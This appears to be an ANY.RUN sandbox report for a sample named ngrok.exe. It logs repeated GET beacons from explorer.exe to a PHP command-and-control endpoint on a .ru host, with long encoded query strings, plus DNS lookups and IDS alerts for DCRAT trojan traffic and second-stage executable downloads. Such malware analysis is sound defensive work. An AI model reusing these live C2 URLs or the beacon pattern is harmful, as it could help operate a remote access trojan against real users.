http://a0884237.xsph.ru/L1nc0In.php?D7wwNRrnD37n=EQ9FAVb0MR1ssuaX704&JKlfnHiVt6jAosksYU8nMg0p5EehR=GDDrb3pdc&e910905a712fae42cdfa28221510f19d=b2b0504ab029d53ee1d4635e5af551da&264710504478b89f5a5ae5da2e5670ef=gNmRzYzkjYlNjZwQTM2YDNhN2M5kjM2AjNzUGNhZzY1U2N3E2NxATY&D7wwNRrnD37n=EQ9FAVb0MR1ssuaX704&JKlfnHiVt6jAosksYU8nMg0p5EehR=GDDrb3pdc
unknown
text
2.09 Kb
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJBTTqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJBTTqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJBTTqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJhXVqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJBTTqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJhXVqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
2588
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
908
explorer.exe
172.67.34.170:443
pastebin.com
CLOUDFLARENET
US
unknown
908
explorer.exe
141.8.192.82:80
a0884237.xsph.ru
Sprinthost.ru LLC
RU
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 172.67.34.170
  • 104.20.68.143
  • 104.20.67.143
shared
a0884237.xsph.ru
  • 141.8.192.82
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
908
explorer.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
908
explorer.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
908
explorer.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
908
explorer.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
908
explorer.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
908
explorer.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
908
explorer.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
ngrok.exe